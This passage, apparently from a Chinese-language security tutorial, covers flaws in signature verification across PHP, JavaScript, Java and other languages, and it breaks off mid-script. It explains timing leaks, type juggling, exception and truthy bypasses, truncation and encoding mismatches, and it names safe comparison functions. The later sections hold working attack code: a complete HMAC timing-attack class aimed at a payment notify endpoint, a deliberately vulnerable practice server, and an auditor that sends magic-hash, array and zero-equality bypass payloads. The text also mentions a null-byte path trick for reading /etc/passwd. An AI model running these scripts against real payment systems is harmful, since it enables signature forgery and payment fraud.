const str = "abc123";

console.log("Buffer == string:  ", buf == str);        // true (Buffer.valueOf() 触发 toString)
console.log("Buffer === string: ", buf === str);       // false (类型不同)
console.log("Buffer.equals():   ", buf.equals(Buffer.from(str))); // true

// 陷阱: == 可能隐式调用 toString()
// 但如果 buffer 内容是二进制数据 (签名通常是 hex 或 base64)
// Buffer.from("deadbeef", "hex") == "deadbeef" → false
// 因为 buf.toString('hex') → "deadbeef" 才匹配

// ===== 3. Buffer 的不同表示 =====
console.log("\n=== Buffer representations ===");
const sig = Buffer.from([0xde, 0xad, 0xbe, 0xef]);
console.log("sig.toString('hex'):    ", sig.toString('hex'));      // "deadbeef"
console.log("sig.toString('base64'): ", sig.toString('base64'));    // "3q2+7w=="
console.log("sig.toString('latin1'): ", sig.toString('latin1'));    // binary string
console.log("sig.toString('utf8'):   ", sig.toString('utf8'));      // garbled

// 如果签名比较时忘记 .toString('hex'):
// sig == "deadbeef" → false (因为 sig 是对象)

// ===== 4. 字符编码不一致 =====
// 后端: HMAC(secret, data).toString('hex')
// 但如果比较时用了不同的编码:
// HMAC 结果 0xDEAD → hex: "dead"
// HMAC 结果 0xDEAD → base64: "3q0="
// → 签名永远不匹配!

console.log("\n=== 编码不一致的典型表现 ===");
console.log("服务端编码: hex → 'a1b2c3d4'");
console.log("客户端编码: base64 → 'obLD1A=='");
console.log("两个字符串完全不同 → 签名验证永远失败");
console.log("但如果服务端 fallback: 出错时返回 200 → 绕过!");

3.3 Timing-safe Compare 缺失 ​

javascript
// js_timing.js — JavaScript 时序攻击

// ===== 漏洞模式: 字节级比较 =====
function timing_vuln(user_sig, correct_sig) {
    // 漏洞: 一旦发现不同字节立即返回
    for (let i = 0; i < correct_sig.length; i++) {
        if (user_sig[i] !== correct_sig[i]) {
            return false;  // ← 时序泄露!
        }
    }
    return true;
}

// ===== strict 分支: timing-safe =====
const { timingSafeEqual } = require('crypto');

function timing_safe(user_sig, correct_sig) {
    // 先比较长度,长度不同直接返回 (但泄漏长度)
    if (user_sig.length !== correct_sig.length) {
        // 需要 padding 到等长再做 timing-safe 比较
        const maxLen = Math.max(user_sig.length, correct_sig.length);
        const buf1 = Buffer.alloc(maxLen, user_sig, 'utf8');
        const buf2 = Buffer.alloc(maxLen, correct_sig, 'utf8');
        return timingSafeEqual(buf1, buf2);
    }
    return timingSafeEqual(
        Buffer.from(user_sig),
        Buffer.from(correct_sig)
    );
}

// ===== 测试 =====
const correct = "abcdef1234567890";
const wrong_1 = "bbcdef1234567890";  // 第 1 字节不同
const wrong_15 = "abcdef123456789f"; // 最后 1 字节不同

function measure_time(fn, sig) {
    const start = process.hrtime.bigint();
    for (let i = 0; i < 100000; i++) {
        fn(sig, correct);
    }
    return Number(process.hrtime.bigint() - start) / 1e6;
}

console.log("\n=== Timing attack measurement (100k iterations) ===");
console.log("vuln first byte wrong: ", measure_time(timing_vuln, wrong_1).toFixed(2), "ms");
console.log("vuln last byte wrong:  ", measure_time(timing_vuln, wrong_15).toFixed(2), "ms");
console.log("safe first byte wrong: ", measure_time(timing_safe, wrong_1).toFixed(2), "ms");
console.log("safe last byte wrong:  ", measure_time(timing_safe, wrong_15).toFixed(2), "ms");

3.4 JSON.parse 边角案例 ​

javascript
// js_json_parse_edge.js — JSON.parse 边角利用

// ===== 1. __proto__ pollution =====
const payload1 = JSON.parse('{"__proto__": {"admin": true}}');
// payload1.__proto__.admin  → true (原型污染)

// 如果签名验证对象是 Object.create(null) (无原型) → 原型链 payload 不进入
// 如果是普通 {} → prototype chain 可被污染

// ===== 2. JSON.parse 接收奇怪的类型 =====
const parse_nan = JSON.parse("NaN");          // NaN (某些 JSON 实现)
const parse_inf = JSON.parse("Infinity");     // Infinity
const parse_hex = JSON.parse('"\\u0041"');    // "A" (unicode escape)
const parse_zero = JSON.parse('"\\u0030"');   // "0"

// ===== 3. 重复 key =====
const dup = JSON.parse('{"a":1,"a":2}');
console.log("Duplicate key 'a':", dup.a);  // 2  (后面的覆盖前面的)

// 影响: 如果签名计算时用 key1, 验证时用 key2 (不同的实现)
// 两边读到的值不同 → 签名不匹配 → 但攻击者可以故意制造

// 更危险的: 如果有 side effect:
// JSON.parse('{"a":1,"a":2}') — 某些 parser 会调用两次 setter

// ===== 4. JSON 中的特殊数字 =====
console.log("\n=== JSON number edge cases ===");
console.log("JSON.parse('-0'):          ", JSON.parse("-0"));          // -0
console.log("Object.is(-0, 0):          ", Object.is(-0, 0));          // false!
console.log("JSON.parse('1e999'):       ", JSON.parse("1e999"));       // Infinity
console.log("JSON.parse('-1e999'):      ", JSON.parse("-1e999"));      // -Infinity
console.log("JSON.parse('{}'):          ", typeof JSON.parse("{}"));    // object
console.log("JSON.parse('[]'):          ", Array.isArray(JSON.parse("[]"))); // true

// -0 的诡异:
// if (amount === 0) → 但 amount 是 -0 → Object.is(-0, 0) → false
// 但 -0 == 0 → true, -0 === 0 → true
// 只有 Object.is(-0, 0) → false

// ===== 5. JSON.parse 的 reviver =====
// 如果签名验证用了 reviver:
// JSON.parse(text, (key, value) => {
//     if (key === 'amount') return parseInt(value);
//     return value;
// })
// → amount 被转为 int → 可能与其他部分的 string 比较不一致

4. Java 实现缺陷 ​

4.1 String.equals() vs constant-time ​

java
// JavaSignatureBugs.java — Java 签名比较缺陷

// ===== 1. String.equals() 不是 constant-time =====
public class SignatureBugs {

    // 漏洞: String.equals() 在找到第一个不同字符时返回
    public static boolean vulnCompare(String userSig, String correctSig) {
        return userSig.equals(correctSig);  // ← 时序泄露!
    }

    // strict: MessageDigest.isEqual() 是 constant-time
    public static boolean safeCompare(String userSig, String correctSig) {
        return MessageDigest.isEqual(
            userSig.getBytes(StandardCharsets.UTF_8),
            correctSig.getBytes(StandardCharsets.UTF_8)
        );
    }

    // ===== 2. String.equalsIgnoreCase() =====
    // 如果签名比较用了 equalsIgnoreCase:
    // "ABC" == "abc" → true
    // 但 HMAC 是大写还是小写? 大小写不敏感 → 爆破空间减半!

    // ===== 3. == 比较 (引用) =====
    // if (userSig == correctSig) → 永远 false (不同对象)
    // 但如果是 String.intern():
    // if (userSig.intern() == correctSig.intern()) → 永远 true
    // (如果两个字符串值相同,intern 返回同一个引用)

    // ===== 4. Null 隐患 =====
    // correctSig.equals(userSig) → 如果 correctSig 为 null → NullPointerException
    // userSig.equals(correctSig) → 如果 userSig 为 null → NullPointerException
    // 如果异常被 catch 后返回 true → 绕过!
}
python
# java_timing_demo.py — Java 签名时序演示
def java_timing_explanation():
    print("""
    // Java 签名比较时序攻击原理:

    // String.equals() 实现:
    // public boolean equals(Object anObject) {
    //     if (this == anObject) return true;        // 引用相同 → 瞬间返回
    //     if (anObject instanceof String) {
    //         String aString = (String)anObject;
    //         if (coder() == aString.coder()) {      // LATIN1 vs UTF16
    //             return isLatin1() ? StringLatin1.equals(value, aString.value)
    //                              : StringUTF16.equals(value, aString.value);
    //         }
    //     }
    //     return false;
    // }

    // StringLatin1.equals():
    // 逐个字节比较,遇到第一个不同字节返回 false
    // → 前 N 字节匹配时耗时更长 → 可做时序攻击

    // strict 替代:
    // MessageDigest.isEqual(byte[], byte[])
    // → 即使长度不同也恒定时间
    // (不计较早的 length check)

    // Java 11+:
    // Arrays.mismatch(byte[], byte[]) — 找到第一个不匹配的位置
    // → 也不是 constant-time!

    // Spring Security 的 PasswordEncoder:
    // 各种 encoder 的 matches() 方法→ 有些不是 constant-time

    // JDK 内 timing-safe 的路径:
    // - java.security.MessageDigest.isEqual()
    // - javax.crypto.Mac.doFinal() → 对比
    """)

4.2 Arrays.equals() 与 BigInteger 边角 ​

python
# java_array_biginteger.py — Java Arrays.equals 与 BigInteger 缺陷

def java_array_equals_issue():
    print("""
    // === Arrays.equals() 的时序问题 ===

    // java.util.Arrays.equals(byte[], byte[])
    // 也是短路比较: 发现不同立即返回
    // for (int i = 0; i < a.length; i++) {
    //     if (a[i] != b[i]) return false;   // ← timing leak
    // }
    // return true;

    // === strict 替代 ===
    // java.security.MessageDigest.isEqual(byte[], byte[])
    // → 恒定时间

    // === BigInteger 边角 ===

    // 场景: 将签名当作 BigInteger 比较

    // BigInteger("0").equals(BigInteger("0")) → true
    // BigInteger("0") == BigInteger.ZERO → 可能 true (缓存)
    // 但 BigInteger("0e123") → NumberFormatException!

    // BigInteger 比较的 trap:
    // new BigInteger("0001").equals(new BigInteger("1"))
    // → true (值相等)
    // 但如果签名需要精确字节匹配: "0001" ≠ "1"

    // BigInteger.signum():
    // 负数 BigInteger → signum() = -1
    // 如果签名 = -1 → 负值... 可能被当作错误处理

    // BigInteger.toString(16):
    // new BigInteger("00dead", 16).toString(16) → "dead" (前导零丢失!)
    // signature = "00dead" 但 toString() → "dead"
    // 签名长度不一致!

    // 分流: 未补零时可造成等价串错位
    // String.format("%064x", new BigInteger(1, sigBytes))
    """)

4.3 Null 处理不当 ​

python
# java_null_handling.py — Java Null 处理缺陷

def java_null_issues():
    print("""
    // === NullPointerException 导致的绕过 ===

    // 场景 1: 空值传到 equals()
    // if (userSig.equals(storedSig)) { verify(); }
    // → 如果 userSig == null → NullPointerException
    // → 如果 catch(Exception e) { return true; } → 绕过!

    // 场景 2: 自动拆箱
    // Boolean verified = null;
    // if (verified) { deliver(); }   ← NullPointerException!
    // → boolean b = verified; → NPE

    // 场景 3: Optional.get() 没有 isPresent 检查
    // String sig = optionalSig.get();  // 如果 absent → NoSuchElementException
    // → 异常 → 可能 fallback 到 allow

    // 场景 4: 签名在 map 中
    // Map<String, String> params = getPaymentParams();
    // String sign = params.get("sign");  // → null (key 不存在)
    // String calc = computeSign(params);
    // if (sign.equals(calc)) { ... }     // → NPE on sign (null)

    // 但是: if (calc.equals(sign)) { ... }
    // → 如果 sign 为 null → false,但可能触发其他 fallback 逻辑
    // → equals(null) → false (Java 规范: null 参数返回 false)

    // === 对比: == null 检查 ===
    // if (sign == null) { return false; }  ← null 分支直接截断
    // if ("".equals(sign)) { ... }         ← 左值固定避免 NPE
    // if (sign.equals("")) { ... }         ← 可能 NPE

    // === Spring 中的 Null 分流 ===
    // StringUtils.hasText(sign) → null/空字符串进入同一拒绝分支
    // Objects.equals(a, b) → null 不触发 NPE
    // Optional.ofNullable(sign).orElse("") → 默认值
    """)

5. 跨语言通用缺陷 ​

5.1 Early Return on Comparison (Timing) ​

python
# universal_timing.py — 跨语言时序泄漏

EARLY_RETURN_LANGUAGES = {
    "PHP":    "strcmp() 逐个字节比较,首个差异返回",
    "Python": "== 比较逐个元素,首个差异返回",
    "Java":   "String.equals() 逐个 char 比较",
    "JS":     "=== 字符串比较在 V8 中差异明显",
    "Go":     "subtle.ConstantTimeCompare vs ==/bytes.Equal",
    "Ruby":   "== 在 String 中是逐个字符比较",
    "Rust":   "== 对 String 是 lexicographic 比较",
    "C#":     "String.Equals() 是 ordinal 比较",
}

def timing_attack_intro():
    """时序攻击基础"""
    print("""
    // 时序攻击原理:
    // 所有非恒定时间的字符串比较都会泄漏"前多少字节正确"
    // 恢复一个 32 字节 HMAC 签名: 32 × 256 = 8192 次探测
    // 每次探测: 发请求 → 测量响应时间 → 取最长的那个
    
    // 需要:
    // - 网络 RTT 稳定 (< 5ms 抖动)
    // - 大样本量 (每个候选字节约 100-1000 次)
    // - 统计分析 (去掉异常值)
    // - 本地或近端网络
    """)

5.2 Exception-Based Bypass ​

python
# universal_exception_bypass.py — 异常绕过签名验证

def exception_bypass_classes():
    """各语言中异常导致签名验证被跳过的模式"""
    print("""
    // 通用模式:
    try {
        if (verifySignature(request)) {
            processPayment(request);
        }
    } catch (Exception e) {
        // ← 异常时没有任何操作,payment 不处理 (还好)
        // 但下面这种就危险了:
    }

    // ===== 危险模式 1: catch 里默认 allow =====
    try {
        if (!verifySignature(request)) {
            return "invalid";
        }
    } catch (Exception e) {
        // do nothing  ← 执行流继续!
    }
    processPayment(request);  ← 签名验证被异常跳过

    // ===== 危险模式 2: 异常不阻止流程 =====
    try {
        verifySignature(request);
    } catch (Exception e) {
        logger.error("Verification failed", e);  // 只记日志!
    }
    deliverGoods();  ← 发货逻辑在 try/catch 外面

    // ===== 危险模式 3: 宽松的 catch =====
    try {
        ...
    } catch (Exception | Error e) {
        // 连 OutOfMemoryError 都 catch
        return true;  // 出错默认通过
    }

    // ===== 触发异常的手段 =====
    EXCEPTION_TRIGGERS = {
        "ArrayIndexOutOfBounds": "传空数组/过短数组",
        "NullPointer":           "传 null 值",
        "NumberFormat":          "传非数字到 parseInt()",
        "ClassCast":             "传不兼容类型",
        "StackOverflow":         "深度嵌套 JSON",
        "OutOfMemory":           "超大 payload → OOM → 默认 allow?",
        "IllegalArgument":       "传无效参数",
        "EOFException":          "截断请求体",
        "SocketTimeout":         "慢请求 → 超时 → 默认处理",
    }
    """)

5.3 Boolean Coercion (Truthy/Falsy) ​

python
# universal_truthy.py — Truthy/falsy 绕过

TRUTHY_FALSY_BY_LANGUAGE = {
    "PHP": """
        // Falsy: false, null, 0, 0.0, "", "0", [], empty
        // Truthy: true, "false" (字符串!), 1, [1], stdClass
        
        // 绕过: if ($verified) { ... }
        // $verified = "yes" → true (非空字符串)
        // $verified = 1 → true
        // $verified = new stdClass() → true
    """,
    "Python": """
        # Falsy: False, None, 0, 0.0, "", [], (), {}, set()
        # Truthy: True, 1, "False" (字符串!), [False], {"a": 0}
        
        # 绕过: if verified:
        # verified = "False" → True! ("False" 是非空字符串)
        # verified = [0] → True! (非空列表)
        # verified = {"valid": False} → True! (非空字典)
    """,
    "JavaScript": """
        // Falsy: false, null, undefined, 0, NaN, ""
        // Truthy: true, 1, "false" (字符串!), [], {}, "0"
        
        // 绕过: if (verified) { ... }
        // verified = "false" → true! (非空字符串)
        // verified = [] → true! (非空数组)
        // verified = {} → true! (非空对象)
        
        // 特别注意: "0" == false → true 但 if("0") → true
        // "0" 是 truthy 但 == false!
    """,
    "Java": """
        // Java 没有隐式 truthy/falsy
        // 但 Boolean 可以拆箱:
        // Boolean verified = null;
        // if (verified) { ... }  ← NullPointerException!
        // Boolean verified = Boolean.valueOf("trueish");
        // → verified = false (只有 "true" 不区分大小写才是 true)
        
        // Boolean.parseBoolean("yes") → false
        // Boolean.parseBoolean("1") → false
        // 只有 "true" 返回 true
    """,
    "Ruby": """
        # Falsy: false, nil
        # Truthy: true, 0, "", [], {} (只有 false 和 nil 是 falsy!)
        
        # 绕过: if verified
        # verified = 0 → true! (0 是 truthy)
        # verified = "" → true! (空字符串是 truthy)
        # verified = [] → true! (空数组是 truthy)
    """,
    "Go": """
        // Go 没有隐式 bool 转换
        // if verified { ... }  // 编译错误: verified 必须是 bool
        // 但允许: if verified != nil { ... }
        // 和: if len(verified) > 0 { ... }
    """,
}

5.4 Truncation (只检查前 N 字节) ​

python
# universal_truncation.py — 签名截断绕过

def truncation_scenarios():
    """各种截断绕过场景"""
    print("""
    // ===== 截断模式 1: 只比较前 N 字节 =====
    // 代码: if (memcmp(sig1, sig2, 4) == 0)  // 只比较前 4 字节!
    // 攻击: 任何前 4 字节匹配的签名都通过
    // 碰撞难度: 2^32  → 可枚举

    // ===== 截断模式 2: substr 截断 =====
    // PHP: if (substr($user_sig, 0, 8) == substr($correct, 0, 8))
    // 攻击: 只需要 8 字节 (4 字节 hex) 碰撞
    // 2^32 次尝试 → 很低的碰撞概率, 但:
    // 如果有 100 个签名样本 → 生日攻击 → 更可行

    // ===== 截断模式 3: 只检查非空 =====
    // if (strlen($user_sig) > 0 && $user_sig !== $stored) → 任意非空签名?
    // 不对, 这个会让长度 oracle 更明显

    // ===== 截断模式 4: 数据库 truncation =====
    // 数据库字段 VARCHAR(32), 但签名是 40 字节 SHA1
    // INSERT → 自动截断到 32 字节
    // 验证时: 用户输入 32 字节, 数据库存的是截断后的 32 字节
    // → 完全不同的签名可能"匹配"
    
    // ===== 截断模式 5: 整数截断 =====
    // HMAC 输出是 256 bit → byte[32]
    // 但数据库存的是 INT → 前 4 字节作为 int 比较
    // 碰撞概率: 1/2^32 (生日攻击: 2^16 个签名就够了)
    """)

5.5 Charset/Encoding 差异 ​

python
# universal_charset.py — 字符编码差异绕过

def charset_attack_scenarios():
    """字符编码导致的签名绕过"""
    print("""
    // ===== 场景 1: UTF-8 vs Latin-1 =====
    // 一个字符串在不同编码下产生不同的字节序列
    // "café" in UTF-8: 63 61 66 c3 a9 (5 字节)
    // "café" in Latin-1: 63 61 66 e9 (4 字节)
    // → 签名结果完全不同!

    // ===== 场景 2: Unicode 归一化 =====
    // "é" 有两种 Unicode 表示:
    //   U+00E9 (precomposed)
    //   U+0065 U+0301 (decomposed: e + combining accent)
    // → 视觉相同, 字节不同 → 签名不同

    // 常见归一化形式:
    // NFC  — 优先使用组合字符 (é → U+00E9)
    // NFD  — 优先使用分解字符 (é → e + combining accent)
    // NFKC — 兼容组合 (ff → ff)
    // NFKD — 兼容分解

    // 利用: 如果服务端用 NFC, 攻击者用 NFD → 签名不匹配
    // 但如果服务端不做归一化: 两个同样的"é" 签名不同!

    // ===== 场景 3: UTF-8 BOM =====
    // UTF-8 with BOM: EF BB BF 开头
    // UTF-8 without BOM: 无 BOM
    // 如果签名时没去掉 BOM, 但验证时去掉了 → 签名不匹配
    // 反过来: 攻击者在 payload 开头加 BOM → 签名变化

    // ===== 场景 4: UTF-16 vs UTF-8 =====
    // "hello" 在 UTF-8:  68 65 6c 6c 6f (5 字节)
    // "hello" 在 UTF-16: ff fe 68 00 65 00 6c 00 6c 00 6f 00 (12 字节)
    // HMAC over UTF-8 ≠ HMAC over UTF-16

    // ===== 场景 5: 大小写归一化 =====
    // 某些签名比较前做 toLowerCase():
    // "ABCDEF" → "abcdef"
    // 但某些字符在不同 locale 下大小写不同:
    // "İ" (Turkish capital I with dot) → toLowerCase() → "i" (Turkish)
    // "I" → toLowerCase() → "i" (English)
    // 利用: 构造包含特殊大小写的字符串 → 绕过

    // ===== 场景 6: 空白字符 =====
    // 签名前是否 trim()?
    // 服务端: trim("abc123") → "abc123"
    // 攻击者: "abc123" → 通过
    // 攻击者: " abc123" → 服务器 trim 后再签名 → 通过
    // 但是: " abc123 " 和 "abc123" 的签名不同!
    """)

    NORMALIZATION_BYPASSES = [
        ("NFC", "é"),              # é (precomposed)
        ("NFD", "é"),        # e + combining accent
        ("NFKC", "ff"),             # ff (ligature)
        ("NFKD", "ff"),                 # ff (decomposed)
    ]
    for form, char in NORMALIZATION_BYPASSES:
        print(f"  {form}: {repr(char)} → bytes: {char.encode('utf-8').hex()}")

5.6 Null Byte Truncation ​

python
# universal_null_byte.py — Null 字节截断绕过

def null_byte_truncation():
    """Null 字节截断导致的签名绕过"""
    print("""
    // ===== Null 字节在各种语言中的行为 =====

    // C/C++: 字符串以 \\x00 结尾
    // strcmp("abc\\x00def", "abc") → 0 (相等! \\x00 认为是结束)
    // 但 HMAC("abc\\x00def") ≠ HMAC("abc")

    // PHP: 字符串可以包含 \\x00
    // strcmp("abc\\x00def", "abc") → 1 (不相等! PHP 允许二进制字符串)
    // 但有些 C 扩展会截断

    // Java: String 可以有 \\x00
    // "abc\\x00def".equals("abc") → false
    // 但写入文件或数据库时可能截断

    // Python: 明确区别
    // b"abc\\x00def"  ≠ b"abc"
    // str("abc\\x00def") ≠ str("abc")

    // JavaScript: 可以包含 \\x00
    // "\\x00" === "" → false
    // 但 JSON 序列化时可能不同

    // ===== 实际利用 =====
    // 场景: 签名输入直接传给底层 C 库
    // HMAC("abc\\x00" + data, key) → C 库认为 key 在 \\x00 结束
    // → 实际使用的 key 更短 → 可枚举

    // 场景: 文件路径截断
    // PHP: file_get_contents("/etc/passwd\\x00.jpg") → /etc/passwd (PHP < 5.3)
    // 如果签名参数包含路径 → 路径截断 → 读任意文件

    // ===== 失败分流 =====
    // 始终在签名计算前 sanitize 输入
    // 移除或转义 null 字节
    // 使用固定编码 (如 hex 或 base64) 而非原始字节
    """)

6. 时间盲注签名恢复 ​

6.1 完整时序攻击脚本 ​

python
# timing_attack_hmac.py — HMAC 签名字节级时序盲注恢复

"""
完整的时序攻击: 在网络抖动中恢复 HMAC 签名

原理:
1. 对每个字节位置, 尝试所有 256 个可能值
2. 正确的字节导致服务端继续比较下一个字节 → 耗时略长
3. 使用大量样本 + 统计分析消除噪声
4. 最终恢复完整签名 → 伪造任意请求

前置条件:
- 本地或近端网络 (RTT < 5ms)
- 目标使用非恒定时间的字符串比较
- 有已知接口可以发送自定义签名
"""

import requests
import time
import statistics
import itertools
from typing import Optional

class TimingAttack:
    """HMAC 签名时序恢复攻击器"""

    def __init__(self, base_url: str, params_template: dict,
                 sign_field: str = "sign",
                 sig_length: int = 32,
                 samples_per_byte: int = 100,
                 timeout: float = 5.0):
        """
        Args:
            base_url: 目标 URL
            params_template: 除签名外的请求参数
            sign_field: 签名字段名
            sig_length: 签名长度 (字节)
            samples_per_byte: 每个候选字的采样次数
            timeout: HTTP 超时
        """
        self.base_url = base_url
        self.params = params_template
        self.sign_field = sign_field
        self.sig_length = sig_length
        self.samples = samples_per_byte
        self.timeout = timeout
        self.session = requests.Session()

    def measure(self, hex_sig: str, n: int = 1) -> list[float]:
        """测量 n 次请求的响应时间"""
        times = []
        params = {**self.params, self.sign_field: hex_sig}
        for _ in range(n):
            try:
                start = time.perf_counter()
                r = self.session.post(
                    self.base_url,
                    json=params,
                    timeout=self.timeout
                )
                elapsed = time.perf_counter() - start
                times.append(elapsed)
            except Exception:
                times.append(None)
        return [t for t in times if t is not None]

    def median_time(self, hex_sig: str) -> float:
        """多次测量的中位数时间 (抗异常值)"""
        times = self.measure(hex_sig, self.samples)
        if len(times) < 3:
            return float('inf')
        return statistics.median(times)

    def recover_byte(self, known_prefix: str, position: int,
                     hex_chars: str = "0123456789abcdef") -> tuple[str, float]:
        """恢复一个 nibble (半字节)

        Args:
            known_prefix: 已恢复的 hex 前缀
            position: 当前 nibble 位置 (0-based)
            hex_chars: 候选 hex 字符

        Returns:
            (最佳 hex 字符, 置信度分数)
        """
        timings = []
        for c in hex_chars:
            test_sig = known_prefix + c + "0" * (self.sig_length * 2 - len(known_prefix) - 1)
            t = self.median_time(test_sig)
            timings.append((c, t))

        # 按时间降序排列 (最长的最有可能是正确字符)
        timings.sort(key=lambda x: x[1], reverse=True)

        best_char = timings[0][0]
        best_time = timings[0][1]
        second_time = timings[1][1]
        confidence = best_time - second_time

        return best_char, confidence

    def recover_full_signature(self, verbose: bool = True) -> str:
        """恢复完整签名

        Returns:
            完整 hex 签名 (小写)
        """
        recovered = ""

        for pos in range(self.sig_length * 2):
            best_char, confidence = self.recover_byte(recovered, pos)

            if verbose:
                progress = "#" * len(recovered) + "." * (self.sig_length * 2 - len(recovered))
                print(f"[{pos:3d}/{self.sig_length*2}] best='{best_char}' "
                      f"(conf={confidence:.6f}s) | {progress}")

            recovered += best_char

            # 每 8 个 nibble (4 字节) 做一次验证
            if len(recovered) % 8 == 0 and len(recovered) < self.sig_length * 2:
                # 用 recovered 做一次实际请求
                params = {**self.params, self.sign_field: recovered}
                r = self.session.post(self.base_url, json=params, timeout=self.timeout)
                if r.status_code == 200 and "invalid" not in r.text.lower():
                    if verbose:
                        print(f"  [*] Partial verification success at {len(recovered)//2} bytes!")
                    # 可能已经够了? 存储状态
                    continue

        return recovered

    def verify_signature(self, hex_sig: str) -> bool:
        """验证恢复的签名是否有效"""
        params = {**self.params, self.sign_field: hex_sig}
        r = self.session.post(self.base_url, json=params, timeout=self.timeout)
        return r.status_code == 200 and "invalid" not in r.text.lower()


# ===== 使用示例 =====
def demo_timing_attack():
    attack = TimingAttack(
        base_url="https://target/api/payment/notify",
        params_template={
            "order_id": "TEST_ORDER",
            "amount": "100.00",
            "currency": "USD",
            "timestamp": "2024-01-01T00:00:00Z",
        },
        sign_field="sign",
        sig_length=32,         # 32 字节 = 64 hex chars (SHA256)
        samples_per_byte=50,   # 每个候选 50 次
    )

    print("[*] Starting timing attack...")
    print(f"[*] Total requests: ~{attack.sig_length * 2 * 16 * attack.samples}")
    print(f"    = {attack.sig_length * 2 * 16 * attack.samples} HTTP requests")

    recovered = attack.recover_full_signature(verbose=True)
    print(f"\n[*] Recovered signature: {recovered}")

    if attack.verify_signature(recovered):
        print("[!] SIGNATURE VERIFIED — full bypass!")
    else:
        print("[*] Signature not accepted — check length/encoding")


# ===== 统计优化: 中位数 vs 均值 =====
def compare_median_vs_mean():
    """展示中位数比均值更适合时序攻击"""
    import random

    # 模拟 100 次测量, 包含一些异常值
    times_correct = [0.012] * 80 + [0.100] * 20  # 80% 正常, 20% 网络延迟
    times_wrong   = [0.008] * 80 + [0.100] * 20

    print(f"Correct byte: mean={statistics.mean(times_correct):.4f}s "
          f"median={statistics.median(times_correct):.4f}s")
    print(f"Wrong byte:   mean={statistics.mean(times_wrong):.4f}s "
          f"median={statistics.median(times_wrong):.4f}s")
    print(f"Mean diff:    {statistics.mean(times_correct) - statistics.mean(times_wrong):.6f}s")
    print(f"Median diff:  {statistics.median(times_correct) - statistics.median(times_wrong):.6f}s")

    # 有网络抖动时, 中位数更稳定
    # 中位数剔除了上层的 50% 噪声


# ===== 高级: Jitter 消除 =====
class JitterRemoval:
    """网络抖动消除技术"""

    @staticmethod
    def remove_outliers(times: list[float], m: float = 2.0) -> list[float]:
        """去除超过 m 倍标准差的值"""
        if len(times) < 4:
            return times
        mean = statistics.mean(times)
        std = statistics.stdev(times)
        return [t for t in times if abs(t - mean) < m * std]

    @staticmethod
    def relative_timing(reference_sig: str, test_sig: str,
                        measure_fn, n: int = 100) -> float:
        """相对时序: 测量与参考签名的相对差异"""
        ref_times = measure_fn(reference_sig, n)
        test_times = measure_fn(test_sig, n)
        ref_median = statistics.median(ref_times)
        test_median = statistics.median(test_times)
        return test_median - ref_median

    @staticmethod
    def progressive_zscore(accumulated_times: list) -> dict:
        """累积 Z-score: 逐步缩小候选集"""
        # 对每个候选字, 维护一个时间列表
        # 每轮采样后计算 Z-score, 剔除 > 2 的异常值
        # 当某个候选字的 Z-score 显著高于其他时, 确定该字节
        pass


if __name__ == "__main__":
    compare_median_vs_mean()

6.2 本地测试: 可攻击的服务端 ​

python
# timing_vulnerable_server.py — 带时序漏洞的签名验证服务 (用于练习)
import hmac, hashlib, time
from flask import Flask, request, jsonify

app = Flask(__name__)
SECRET = b"test_secret_key_12345"

def vulnerable_verify(user_sig, correct_sig):
    """有时序漏洞的比较"""
    if len(user_sig) != len(correct_sig):
        return False
    for a, b in zip(user_sig, correct_sig):
        if a != b:
            return False
        time.sleep(0.0001)  # 模拟比较开销 + 放大时序差异
    return True

def safe_verify(user_sig, correct_sig):
    """恒定时间比较"""
    return hmac.compare_digest(user_sig, correct_sig)

@app.route("/verify", methods=["POST"])
def verify():
    data = request.get_json()
    user_sig = data.get("sign", "")

    # 计算期望签名
    message = f"{data.get('order_id')}:{data.get('amount')}".encode()
    correct_sig = hmac.new(SECRET, message, hashlib.sha256).hexdigest()

    # 使用有漏洞的比较
    if vulnerable_verify(user_sig, correct_sig):
        return jsonify({"status": "verified", "action": "deliver"})
    else:
        return jsonify({"status": "invalid"}), 403

# 启动: python timing_vulnerable_server.py
# 攻击: 针对 localhost:5000/verify 跑 timing_attack_hmac.py

7. 完整攻击路径脚本 ​

python
# implementation_audit.py — 签名实现缺陷完整路径
import requests, time, hmac, hashlib, json, statistics

TARGET = "https://target"
S = requests.Session()


class SignatureImplAuditor:
    """签名实现缺陷打点"""

    def __init__(self, base_url: str):
        self.base = base_url.rstrip("/")
        self.findings = []

    def audit_all(self):
        """执行所有检��"""

        # PHP 专项
        self.check_strcmp_array()
        self.check_md5_sha1_array()
        self.check_magic_hash()
        self.check_zero_equality()
        self.check_in_array_juggle()
        self.check_extract_overwrite()

        # Python 专项
        self.check_python_hook()
        self.check_python_type_coercion()

        # JS/Node 专项
        self.check_js_type_coercion()

        # Java 专项
        self.check_java_common()

        # 跨语言通用
        self.check_exception_bypass()
        self.check_truncation()
        self.check_timing()

        return self.findings

    def add(self, category: str, detail: str, evidence: dict = None):
        self.findings.append({
            "category": category,
            "detail": detail,
            "evidence": evidence or {},
        })
        print(f"[{category:20s}] {detail}")

    # ==================== PHP ====================

    def check_strcmp_array(self):
        """PHP strcmp 数组绕过"""
        for path in ["/notify", "/callback", "/api/verify"]:
            for field in ["sign", "signature", "token"]:
                r = S.post(self.base + path,
                    data={f"{field}[]": "x", "order_id": "TEST"},
                    timeout=10)
                if r.status_code == 200:
                    self.add("PHP-strcmp",
                        f"strcmp array bypass at {path} via {field}[]")
                    return

    def check_md5_sha1_array(self):
        """PHP md5/sha1 数组绕过"""
        for path in ["/notify", "/callback", "/verify"]:
            # md5/sha1 双数组绕过
            r = S.post(self.base + path,
                data="a[]=1&b[]=2",
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                timeout=10)
            if r.status_code == 200:
                self.add("PHP-hash-array",
                    f"md5/sha1 dual array bypass at {path}")

    def check_magic_hash(self):
        """PHP magic hash 绕过"""
        MAGIC = "0e462097431907509062922748828256"
        for path in ["/notify", "/callback", "/webhook"]:
            for field in ["sign", "signature", "hash"]:
                r = S.post(self.base + path, json={
                    "order_id": "TEST", "status": "paid",
                    field: MAGIC,
                }, timeout=10)
                if r.status_code == 200 and "invalid" not in r.text.lower():
                    self.add("PHP-magic-hash",
                        f"Magic hash bypass at {path} via {field}")

    def check_zero_equality(self):
        """PHP 0 == "any_string" 绕过"""
        for path in ["/notify", "/return", "/callback"]:
            # 金额传字符串
            r = S.post(self.base + path, json={
                "order_id": "TEST", "amount": "abc",
                "status": "paid"
            }, timeout=10)
            if r.status_code == 200:
                self.add("PHP-zero-equality",
                    f"0 == string bypass at {path} (amount=abc)")

            # 状态传 0
            r = S.post(self.base + path, json={
                "order_id": "TEST", "amount": 100,
                "status": 0
            }, timeout=10)
